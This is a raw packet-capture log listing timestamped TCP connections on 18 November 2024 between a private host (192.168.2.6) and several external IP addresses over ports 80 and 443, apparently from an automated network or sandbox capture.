Nov 18, 2024 00:27:52.090939999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.090953112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.090961933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.091005087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.091005087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.126210928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126223087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126235008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126360893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.126360893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.126527071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126605988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.126631975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126643896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126653910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126665115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126673937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.126691103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126702070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126713037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126720905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.126725912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.126749992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.126749992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.127115965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127166986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.127199888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127212048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127223969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127274990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.127290010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.127558947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127569914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127579927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127629995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.127629995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.127631903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127644062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127657890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.127682924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.127682924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.127722025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.164690018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.164700985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.164710999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.164724112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.164834023 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.164892912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.165405035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.165416956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.165426970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.165487051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.165487051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.165534973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.165545940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.165556908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.165568113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.165594101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.165617943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.165863037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.165916920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.165956020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.166038990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.186778069 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.186799049 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.186844110 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.186872959 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.186892986 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.186913013 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.207885027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.207922935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.207935095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.208008051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.208143950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.208169937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.210494995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.243429899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243447065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243463039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243493080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.243520975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.243535042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243577957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.243640900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243652105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243663073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243688107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.243721962 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.243725061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243736029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243765116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.243901014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.243921041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243932962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243947029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243988037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.243999004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.244000912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.244049072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.244549036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.244563103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.244574070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.244584084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.244595051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.244605064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.244605064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.244607925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.244647026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.244669914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.244966984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.244990110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.245002031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.245040894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.245040894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.245250940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.245261908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.245274067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.245285034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.245304108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.245342970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.261846066 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.261868000 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.261934996 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.261969090 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.261986971 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.262110949 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.268714905 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.281953096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.281965971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.281976938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.282008886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.282288074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.282727957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.282742023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.282753944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.282766104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.282778978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.282795906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.282795906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.283217907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.302259922 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.302299976 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.302773952 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.302781105 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.312735081 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.313245058 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.313282013 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.313859940 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.313868046 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.324807882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.324867964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.325006962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.325021029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.325074911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.326219082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.326231003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.326245070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.326318026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.326318026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.360522985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360549927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360562086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360616922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360626936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.360627890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360626936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.360641003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360696077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.360843897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360855103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360867023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.360887051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.360907078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361057043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361072063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361093998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361104012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361115932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361134052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361134052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361166954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361490965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361505032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361521006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361577988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361577988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361622095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361686945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361699104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361735106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361735106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361766100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361778975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361792088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361810923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361823082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361834049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.361835003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361835003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361888885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361888885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.361999035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.362067938 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.362591982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.362643003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.378391981 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.378426075 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.378499031 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.378529072 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.378580093 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.378580093 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.391633987 CET	49960	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:52.391673088 CET	443	49960	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:52.392256975 CET	49961	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:52.392292976 CET	49960	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:52.392294884 CET	443	49961	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:52.392383099 CET	49961	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:52.392591953 CET	49961	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:52.392617941 CET	443	49961	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:52.392735004 CET	49960	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:52.392745972 CET	443	49960	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:52.398885965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.398963928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.399017096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.399029016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.399087906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.399666071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.399678946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.399698019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.399709940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.399750948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.399806023 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.429431915 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.429455996 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.429541111 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.429564953 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.429686069 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.430303097 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.430303097 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.430321932 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.430335999 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.434885979 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.434931993 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.435026884 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.436871052 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.436898947 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.449453115 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.449871063 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.449918985 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.450525045 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.450544119 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.450562000 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.450567961 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.453598022 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.453635931 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.454329967 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.454639912 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.454654932 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.485975981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.493669033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.495629072 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.495660067 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.495718956 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.495747089 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.495773077 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.495790005 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.538300991 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.538337946 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.538413048 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.538440943 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.538456917 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.538474083 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.553847075 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.555083036 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.555109978 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.555609941 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.555614948 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.578139067 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.578963041 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.579026937 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.579545021 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.579559088 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.613066912 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.613095045 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.613209009 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.613281965 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.613924980 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.692028999 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.692104101 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.692452908 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.692452908 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.692488909 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.692507029 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.695792913 CET	49966	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.695820093 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.695983887 CET	49966	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.696196079 CET	49966	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.696208954 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.729518890 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.729549885 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.729604959 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.729629040 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.729652882 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.729664087 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.730036020 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.730114937 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.730201006 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.731297970 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.731297970 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.731367111 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.731410980 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.734822989 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.734869957 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.735330105 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.735585928 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.735599041 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.757196903 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.757842064 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.757883072 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.758404016 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.758414030 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.766408920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766422033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766433954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766444921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766457081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766478062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766515017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.766549110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.766829014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766880989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766891003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766913891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.766940117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766946077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.766952038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.766963959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767010927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.767010927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.767235041 CET	80	49889	185.215.113.206	192.168.2.6
